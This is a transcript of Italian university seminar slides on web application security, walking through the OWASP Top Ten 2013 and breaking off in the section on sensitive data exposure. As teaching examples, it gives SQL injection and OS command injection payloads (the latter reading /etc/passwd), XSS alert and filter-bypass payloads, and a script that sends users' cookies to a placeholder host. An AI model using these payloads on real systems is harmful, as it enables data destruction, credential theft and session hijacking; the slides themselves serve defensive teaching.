Come mettere in sicurezza le applicazioni legacy, un approccio pragmatico
Seminario sulla sicurezza delle applicazioni...
Transcript of Seminario sulla sicurezza delle applicazioni...
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 1
Seminario sulla sicurezza delle applicazioni web
Andrea Zwirner
@AndreaZwirner
Sicurezza informatica
Università degli Studi di VeronaCorso di Laurea Magistrale in Informatica
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 2
● Mi interesso di sicurezza informatica dallo scorso millennio
– “Connettere” significava “intrecciare”
– Hacker non aveva ancora alcun significato
● Ho fondato Linkspirit, azienda che si occupa di
– Consulenza nella progettazione sicura di software e sistemi
– Verifiche di sicurezza su software e sistemi
– Formazione in materia di sicurezza informatica
Chi sono
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 3
Cosa faccio
● Partecipo a diversi progetti liberi legati la divulgazione della cultura sulla sicurezza informatica
www.isecom.org
www.hackerhighschool.org
www.owasp.org
Progetto scuole www.progettoscuole.it
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 4
Di cosa parliamo oggi
● Esamineremo le 10 vulnerabilità più rischiose in ambito web application secondo il top ten project di Owasp
– Descrizione tecnica
– Impatti tecnici e di business
– Scenari ed esempi d'attacco
– Modalità di prevenzione
– Modalità di rilevazione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 5
Di cosa parliamo oggi
● Esamineremo le 10 vulnerabilità più rischiose in ambito web application secondo il top ten project di Owasp
– Descrizione tecnica
– Impatti tecnici e di business
– Scenari ed esempi d'attacco
– Modalità di prevenzione
– Modalità di rilevazione
● Il tutto dopo un bel “pippolone” introduttivo sull'importanza sociale della sicurezza informatica
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 6
La sicurezza informatica
● Insieme di misure di carattere organizzativo, tecnologico e procedurale mirate a garantire
– CONFIDENZIALITÀ
– INTEGRITÀ
– DISPONIBILITÀ
dell'informazione.
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 7
Come funziona
● Definizione di politiche di accesso a servizi e informazioni
– autenticazione
– autorizzazione → chi può fare cosa
● Difesa perimetrale● Difesa interna● Formazione degli utenti
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 8
Sicurezza informatica offensiva
● Utilizzo di strumenti e metodologie usate dagli attaccanti reali
● Accesso a servizi ed informazioni senza possedere i permessi previsti dalle politiche di sicurezza
– Lettura → Confidenzialità
– Scrittura → Integrità / Disponibilità
● Evidenzia le vulnerabilità di sicurezza
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 9
Sicurezza applicativa
● Modellazione ed analisi dei rischi derivanti dal software
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 10
Sicurezza applicativa
● Modellazione ed analisi dei rischi derivanti dal software
● Consapevolezza di analisti, sviluppatori, beta tester, utenti finali
– Sviluppo dell'architettura (secure by design)
– Ciclo di sviluppo del software
– Scrittura del codice
– Controlli di sicurezza comuni nelle fasi di test / review
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 11
Sicurezza applicativa
● Modellazione ed analisi dei rischi derivanti dal software
● Consapevolezza di analisti, sviluppatori, beta tester, utenti finali
– Sviluppo dell'architettura (secure by design)
– Ciclo di sviluppo del software
– Scrittura del codice
– Controlli di sicurezza comuni nelle fasi di test / review
– Utilizzo consapevole da parte degli utenti finali
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 12
Sicurezza applicativa
Il problema non è tecnologico, ma culturale!
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 13
Il problema è culturale
● Possiamo immaginare la sicurezza come una catena composta da anelli tecnologici ed umani
● Portare a buon fine un attacco informatico significa riuscire a rompere questa catena
● Una catena è resistente quanto il suo anello più debole
● L'anello più debole della catena è la componente umana
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 14
Qual è l'idea da cui dobbiamo liberarci
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 15
In realtà le cose vanno così
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 16
In realtà le cose vanno così
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 17
In realtà le cose vanno così
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 18
In realtà le cose vanno così
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 19
La strategia europea
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 20
Consapevolezza
Se non si coinvolgono gli utenti, ogni sforzo è vano
“Ensuring cybersecurity is a common responsibility. End users play a crucial role in ensuring the security of networks and information systems: they need to be made aware of the risks they face online and be empowered to take simple steps to guard against them.”
Cybersecurity Strategy of the European Union
Commissione europea, febbraio 2013
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 21
La strategia italiana
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 22
Consapevolezza
“[…] al fine di rafforzare le capacità nazionali di prevenzione, reazione e ripristino […] individua come nodi primari […]:
promozione e diffusione della cultura della sicurezza cibernetica sia tra i cittadini che all’interno delle istituzioni [...] al fine di accrescere il livello di consapevolezza e di conoscenza della minaccia e dei relativi rischi”
Quadro strategico nazionale per la sicurezza dello spazio cibernetico
Presidenza del Consiglio dei Ministri, dicembre 2013
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 23
● Il web non è stato progettato per essere ne dinamico ne sicuro
– Contenuti statici in sola lettura
– Nessuna sicurezza implicita (o “by design”)
Sicurezza delle applicazioni web
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 24
● Il web non è stato progettato per essere ne dinamico ne sicuro
– Contenuti statici in sola lettura
– Nessuna sicurezza implicita (o “by design”)
● Il Web 2.0 eredita queste peculiarità dal suo predecessore, fornendo
– Svariati petabyte di informazioni di miliardi di utenti (privati, aziende, banche e governi)
– Accesso diretto alle macchine degli utenti stessi
– Ampia superficie d'attacco
Sicurezza delle applicazioni web
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 25
Superficie d'attacco
www.draw-shapes..de
firewall
clientutente/sistma
draw-shapes.de
web server
database
autenticazione
www.draw-shapes.de
web service
controlloaccessi
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 26
La metodologia
O W A S P
Open Web Application Security Project
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 27
● Associazione senza scopo di lucro
● Missione: aumentare la visibilità relativa la sicurezza del software al fine di permettere di prendere decisioni informate ad imprese ed individui
Open Web Application Security Project
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 28
● Si occupa di ricerca e divulgazione della cultura della sicurezza
● Mantiene svariati (e rinomati) progetti legati la sicurezza applicativa
● Includono informazioni circa librerie, API, best practices, auditing, suddivisi nelle tre categorie
– Protect
– Detect
– Life Cycle
Di cosa si occupa OWASP
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 29
● Descrive le dieci vulnerabilità valutate come più rischiose in ambito web application
● Indirizzato a sviluppatori, designer, manager ed organizzazioni● Fornisce linee guida per prevenire e rilevare le vulnerabilità
descritte● Indipendente da linguaggio / framework utilizzato
Top Ten Project
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 30
● Mobile Security Project
– Top Ten Mobile Risks
– Top Ten Mobile Controls
ENISA – European Network and Information Security Agency
● Development Guide● Secure Coding Practices - Quick Reference Guide● Code Review Guide● Testing Guide – Web Goat Project
Progetti OWASP interessanti
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 31
● A1: Injection● A2: Broken Authentication and Session Management● A3: Cross-Site Scripting (XSS)● A4: Insecure Direct Object References● A5: Security Misconfiguration● A6: Sensitive Data Exposure● A7: Missing Function Level Access Control● A8: Cross-Site Request Forgery (CSRF)● A9: Using Known Vulnerable Components● A10: Unvalidated Redirects and Forwards
Top Ten 2013
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 32
● La vulnerabilità
– Si verifica quando dati non fidati sono inviati direttamente ad un interprete (SQL, OS, LDAP, etc)
– Un attaccante può inviare richieste forgiate in modo da forzare l'interprete ad eseguire comandi non previsti
● Vettori d'attacco
– Qualunque fonte di dati, incluse quelle interne
A1 - Injection
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 33
● Difficoltà di sfruttamento: semplice
● Impatto tecnico: grave
– Takeover del completo database (e.g. sqlmap)
– Eliminazione / alterazione dei dati gestiti dall'interprete
– Blocco / corruzione / possesso del sistema informatico
● Impatto sul business: non determinato
– Proporzionale all'importanza dei dati gestiti a livello di business
A1 – impatti
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 34
● Parametrizzazione insicura di una query SQL1. var_id = _post(id);2. query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;3. result = invia_query_al_database(query);4. fai_qualcosa_con(result);
A1 – esempio di SQL Injection
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 35
● Parametrizzazione insicura di una query SQL1. var_id = _post(id);2. query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;3. result = invia_query_al_database(query);4. fai_qualcosa_con(result);
● Parametri attesi_post(id) = n naturale (o, al più, intero)
A1 – esempio di SQL Injection
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 36
● Parametrizzazione insicura di una query SQL1. var_id = _post(id);2. query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;3. result = invia_query_al_database(query);4. fai_qualcosa_con(result);
● Parametri attesi_post(id) = n naturale (o, al più, intero)
● Esempio di parametro inatteso_post(id) = 23'; DROP TABLE tab; --
A1 – esempio di SQL Injection
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 37
● Parametrizzazione insicura di una query SQL1. var_id = _post(id);2. query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;3. result = invia_query_al_database(query);4. fai_qualcosa_con(result);
● Parametri attesi_post(id) = n naturale (o, al più, intero)
● Esempio di parametro inatteso_post(id) = 23'; DROP TABLE tab; --
A1 – esempio di SQL Injection
SELECT * FROM tab WHERE id = '23'; DROP TABLE tab; --'
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 38
Injection fun!
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 39
Titolo
ZU 0666',0,0); DROP DATABASE TABLICE; --
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 40
● Parametrizzazione insicura di un comando shell1. var_ip = _post(ip);2. command = “/bin/ping -c2 ” + var_ip;3. result = esegui_comando(command);4. stampa_nella_pagina(result);
● Parametri attesi_post(ip) = ip (indirizzo IP(v4))
● Esempio di parametro inatteso_post(ip) = 127.0.0.1; cat /etc/passwd
A1 – esempio di OS Injection
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 41
Facciamo una prova, vi va?
It's demo time!
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 42
Esempio 1
Dimostrazione in laboratorio
Esempio 2
Report di penetration test
It's demo time!
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 43
Injection fun, reprise!
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 44
● Utilizzare API che neghino l'uso diretto dell'interprete, fornendo un interfaccia parametrizzata
● Fare escaping dei caratteri speciali, usando le sequenze specifiche per l'interprete
● Attenzione: utilizzare WAF o white list canonizzando i comandi permessi può essere utile, ma non necessariamente risolutivo
– C'è sempre chi conosce le regexp meglio di te!
A1 - prevenzione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 45
● Se non sono stati definiti pattern di sviluppo, si è vulnerabili.
● Revisione del codice
– Verifica della separazione fra gli interpreti ed i dati non fidati
● Penetration test
A1 – rilevazione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 46
● Parametrizzazione sicura di una query (PHP + MySQL + mysqli)
1. $var_id = $_POST['id'];
2. $query = $db_conn->prepare('SELECT * FROM tab WHERE id = ?');
3. $query.bind_param('id', $var_id);
4. $query.execute();
5. $result = $query.get_result();
6. fai_qualcosa_con($result);
A1 – Esempio di parametrizzazione sicura
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 47
● La vulnerabilità
– Si verifica quando le funzioni legate ad autenticazione e gestione delle sessioni permettono la compromissione di password, chiavi o token di sessione o hanno falle nell'implementazione che possono portare ad assumere l'identità di utenti legittimi
● Vettori d'attacco
– Sistemi di autenticazione ed autorizzazione
A2 – Broken Authentication and Session Management
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 48
● Difficoltà di sfruttamento: media
● Impatto tecnico: grave
– Accesso con i privilegi di autorizzazione di qualunque utente, anche amministrativo
● Impatto sul business: non determinato
– Proporzionale al valore di business dei dati trattati o delle funzioni applicative
– Considerare l'impatto sul business della pubblicazione della falla (attacchi e reputazione)
A2 - impatti
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 49
● Brute force su password o username – password deboli● Predizione di identificativo di sessione o credenziali di
accesso● Replay – autenticazione al di fuori di un canale crittografato● Session spotting – assegnazione di sessione al di fuori di un
canale crittografato● Session fixation – assegnazione malevola di sessione
precedente-mente avviata● Timeout di sessione troppo lunghi o inesistenti● Password non crittografate o non salate nella base dati
A2 – scenari d'attacco
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 50
● Mettere a disposizione degli sviluppatori un singolo e sicuro insieme di controlli per l'autenticazione e la gestione delle sessioni che
– Abbia un'interfaccia semplice da utilizzare
– Sia ben documentato
– Aderisca ad uno standard affiabile● Application Security Verification Standard (ASVS)
● Verificare che i controlli non siano vulnerabili ad attacchi di tipo XSS (→ A3: XSS), che permetterebbero il furto di sessioni
A2 - prevenzione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 51
● Il concetto principe è la verifica di protezione di credenziali ed id di sessione
– Le credenziali sono salvate usando hash (salted) o crittografia?
– E' possibile indovinare o modificare le credenziali mediante errori nelle funzioni di gestione degli account?
– Creazione, cambio / recupero password, etc
– Gli id di sessione sono esposti negli URL?
– Gli id di sessione sono vulnerabili ad attacchi del tipo session fixation?
A2 – rilevazione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 52
A2 – rilevazione
● Le sessioni hanno timeout?● Gli utenti possono disconnettersi?● Gli id di sessione sono cambiati in seguito ad ogni variazione
del livello di autorizzazione?● Le password e gli id di sessione sono scambiati attraverso
canali crittografati? (→ A6: Sensitive Data Exposure)
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 53
● La vulnerabilità
– Si verifica quando un'applicazione include informazioni non fidate nei contenuti serviti agli utenti.
– L'attacco consiste nell'inviare ai browser degli utenti script che ne sfruttano l'interprete.
● Vettori d'attacco
– Qualunque fonte di informazioni, comprese quelle interne, come il database
A3 – Cross-Site Scripting (XSS)
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 54
● Difficoltà di sfruttamento: media
● Impatto tecnico: moderato
– Esecuzione di script lato client (dentro al browser): furto di sessioni, inserimento di contenuti ostili, redirezione utenti, etc
● Impatto sul business: non determinato
– Importanza di business del sistema e dei dati che elabora
– Impatto sul business della pubblicazione della falla
A3 – impatti
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 55
● Le falle di tipo XSS si dividono in tre tipologie
– Stored XSS● Il codice malevolo è persistente lato server (database)
– Reflected XSS● Il codice malevolo è contenuto nella risposta data dal
server ad una richiesta forgiata opportunamente
– DOM based XSS● Il codice malevolo è frutto della modifica all'ambiente
DOM del browser dell'utente (avviene tutto lato client)
A3 – tipologie
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 56
JavaScript browser environment
Document Object Model (DOM)
document and related objects allow to access contents of the page, modify elements etc. Most interaction with HTML is handled here.
Browser Object Model (BOM)
BOM is a pack of objects that allow to control the browser, e.g change current URL, access frames, do background requests to server with XMLHttpRequest etc. Functions like alert,confirm,prompt also belong BOM, they are provided by the browser.
JavaScript objects and functions
JavaScript itself is a language which gives us access to DOM, BOM and provides objects and functions of its own.
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 57
● Un applicazione web salva a database il contenuto di un modulo per poi riproporlo a tutti gli utenti del sito (es. “lascia un commento”)
Nome: “Andrea”
Commento: “questo è un bel sito!”
A3 – scenari d'attacco
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 58
● Un applicazione web salva a database il contenuto di un modulo per poi riproporlo a tutti gli utenti del sito (es. “lascia un commento”)
Nome: “Andrea”
Commento: “questo è un bel sito!”
● Il risultato sarà qualcosa del tipo<html><h1>Commenti degli utenti</h1>Tizio: ma che nome c'ho?<br/>Caio: a chi lo dici!<br/>Andrea: questo è un bel sito!<br/></html>
A3 – scenari d'attacco
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 59
● Fin qui tutto bene, ma se invece come commento fosse stato inserito:
“bello davvero! <script>alert('XSS');</script>”
A3 – scenari d'attacco
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 60
● Fin qui tutto bene, ma se invece come commento fosse stato inserito:
“bello davvero! <script>alert('XSS');</script>”
● La pagina sarebbe diventata:<html>
<h1>Commenti degli utenti</h1>
Tizio: ma che nome c'ho?<br/>
Caio: a chi lo dici!<br/>
Andrea: bello davvero! <script>alert('XSS');</script><br/>
</html>
A3 – scenari d'attacco
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 61
● Risultato: esecuzione di codice arbitrario all'interno del browser degli utenti del sito!
A3 – scenari d'attacco
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 62
● Si tratta di un attacco famoso: ha anche un profilo su Linkedin!
Il celebre alert('XSS')
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 63
● Un attaccante può inviarsi i cookie di tutti gli utenti (e quindi anche gli ID di sessione) ed impersonarli all'interno del sito.
– Nome: Andrea
– Commento:
<script>
new Image.src='http://x.y.z.w/ruba_cookie.cgi?dati='
+ document.cooke;
</script>
A3 – scenari d'attacco
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 64
● Impedire l'inserimento dei tag <script> e </script>!
A3 – prevenzione (?)
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 65
● Impedire l'inserimento dei tag <script> e </script>…
NON RISOLVE IL PROBLEMA!!!
● Nome: Andrea
● Commento: <img src=”XXX” onError=”alert('XSS');”>
● Facilmente estensibile ai tag <a> e <div>, con gli eventi onMouseOver, onMouseOut, onClick, etc
A3 – prevenzione (?!)
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 66
Facciamo una prova, vi va?
It's demo time!
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 67
● Il concetto principe è quello di separare i dati non fidati dai contenuti web (da inviare ai browser)
● Fare escaping dei contenuti non fidati (JavaScript, CSS, URL, etc)
– OWASP XSS Prevention Cheat Sheet● Applicare white list per la validazione degli input
– solo lettere, solo cifre, solo cifre + “/” (date), etc
● Nei casi di rich contents, cosiderare l'uso di librerie di auto-sanization (→ OWASP AntiSamy)
A3 – prevenzione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 68
● Si è vulnerabili → Il database contiene già codice malevolo.
– verificare che qualunque contenuto inviato sia gestito correttamente (escaped) prima di includerlo in ogni pagina.
● Esistono tool automatici per la ricerca delle falle
– DOMinator di MindedSecurity
● Ma l'unica certezza è combinare code review e penetration test
A3 – rilevazione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 69
● La vulnerabilità
– Si verifica quando l'applicazione usa riferimenti diretti ad oggetti (es. file, directory, chiavi db) per la generazione delle pagine, senza verificare che l'utente che li richiede abbia i permessi di autorizzazione necessari a manipolarli
● Vettori di attacco
– Cambio di riferimenti ad oggetti da parte di utenti (eventualmente) autenticati in url o parametri GET/POST
A4 – Insecure Direct Object References
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 70
● Difficoltà di sfruttamento: semplice
● Impatto tecnico: medio
– Compromissione (lettura e/o scrittura) di tutti i dati referenziati dal parametro
● Impatti sul business: non determinati
– Proporzionali al valore di business dei dati trattati
– Considerare l'impatto sulla reputazione
A4 – impatti
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 71
1. conto = _post['conto'];
2. query = prepara('SELECT * FROM conti WHERE conto = %',
conto);
3. result = invia_al_database(query);
4. fai_qualcosa_con(result);
● L'attaccante non deve fare altro che modificare il parametro POST conto ed otterrà il risultato per un conto per cui non possiede autorizzazione.
A4 – scenari d'attacco
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 72
● Non lo è.
Vi sembra banale?
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 73
Il caso ASS 4
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 74
Il caso ASS 4
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 75
Il caso ASS 4
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 76
Il caso $Provider_Di_Servizi_Internet
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 77
Il caso $Provider_Di_Servizi_Internet
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 78
Il caso $Provider_Di_Servizi_Internet
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 79
Il caso $Provider_Di_Servizi_Internet
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 80
● L'approccio è quello di proteggere qualunque oggetto accessibile dagli utenti
– Usare riferimenti indiretti agli oggetti (per utente o sessione)
– Esempio: non mettere gli id a database in una drop-down list, ma una mappatura degli stessi generata dinamicamente per la sessione attiva
● Verificare l'autorizzazione prima effettuare qualunque operazione sui dati (lettura compresa!)
A4 – prevenzione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 81
● Mappatura degli oggetti
1. query = prepara('SELECT prendiContiDaSessione(%)', session_id);
2. conti[] = invia_al_database(query);
3. metti_conti_in_dropdown(conti[], dropdown);
… qui c'è l'interazione dell'utente …
A4 – esempio sicuro
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 82
1. map_conto = prendi_indice_selezionato(dropdown);
2. query = prepara('SELECT verificaPermessi(%,%)',
conti[map_conto], session_id);
3. result = invia_al_database(query);
4. if (result) {
5. tutto_ok_procedi();
6. } else {
7. biasima_utente_e_disconnetti(session_id);
8. }
A4 – esempio sicuro
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 83
● Verificare che tutti i riferimenti ad oggetto siano indiretti e protetti adeguatamente
– Mappatura dinamica e limitata alle risorse cui l'utente (o la sessione) ha autorizzazione
– Accesso di default ai dati in sola lettura
– Verifica d'autorizzazione in scrittura nel caso di successiva richiesta di manipolazione degli oggetti referenziati
– In caso di incongruenza chiudere le sessioni!!
● Nel (malaugurato) caso di necessità di riferimenti diretti, valgono le stesse regole!
A4 – rilevazione e prevenzione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 84
● La vulnerabilità
– Si tratta di errate configurazioni.
– Possono insidiarsi a qualunque livello dello stack applicativo (infrastruttura, web server, app. server, framework, librerie esterne, codice).
– Occorre coordinazione tra sviluppatori, amministratori di rete e sistemisti!
● Vettori d'attacco
– Account di default, pagine inutilizzate, falle non patchate (a qualunque livello), file o directory non protetti, modalità di debug attiva, etc
A5 – Security misconfiguration
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 85
● Difficoltà di sfruttamento: semplice
● Impatto tecnico: moderato
● Accesso ed informazioni e funzionalità di sistema. Può portare alla sua totale compromissione (anche silente e persistente).
● Impatto sul business: non determinato
– Il sistema può essere totalmente compromesso ed i dati rubati, modificati o eliminati.
– I costi di analisi e recupero del sistema (ove possibile) possono essere molto ingenti
A5 - impatti
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 86
● Definire una procedura di deployng ed hardening ripetibile per un eventuale recovery indolore
● Ambienti di sviluppo, test e produzione devono essere identici sia architetturalmente che nella configurazione
● Definire una procedura per mantenere allineato all'ultima versione stabile (e compatibile) tutto lo stack (sia testing che deployng)
● Considerare l'eventualità di effettuare periodicamente scan automatizzati, audit e/o penetration test a tutta l'infrastruttura
A5 – prevenzione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 87
● Per ogni software utilizzato (so, web server, app server, framework, librerie, etc), rispondere alle domande:
– Esiste un processo per tenere tutto il sistema aggiornato (incluse tutte le librerie applicative)?
– E' stato disabilitato tutto ciò che non è necessario?
– Sono stati applicati di tutti i criteri di hardening (e best practices) per ogni componente dell'infrastruttura?
● Nel caso si risponda no a qualcosa, si saprà dove andare a cercare.
● Utilizzo di scanner automatici (nmap, openvas, nessus, etc)
A5 – rilevazione
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 88
● La vulnerabilità
– Spesso le informazioni riservate (comprese le credenziali) non sono crittografate, alle volte gli algoritmi o le chiavi utilizzate sono banali
● Vettori d'attacco
– Dati memorizzati in chiaro
– Se i dati sono crittografati, raramente viene attaccata la crittografia. Sono piuttosto attaccati:
● il browser → insicuro o usato irresponsabilmente● le chiavi → troppo semplici, gestite in modo insicuro● il trasporto → in chiaro o “chiarificabile”
A6 – Sensitive Data Exposure
25 novembre 2014Università degli Studi di Verona
Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 89
● Difficoltà di sfruttamento: difficile
– Nel caso di dati crittografati
● Impatto tecnico: grave
– Spesso la compromissione riguarda tutti i dati che sarebbero dovuti essere protetti: se come chiave uso “PIPPO123” che senso ha farne due per due diversi tipi di dato?!
● Impatto di business: non determinato
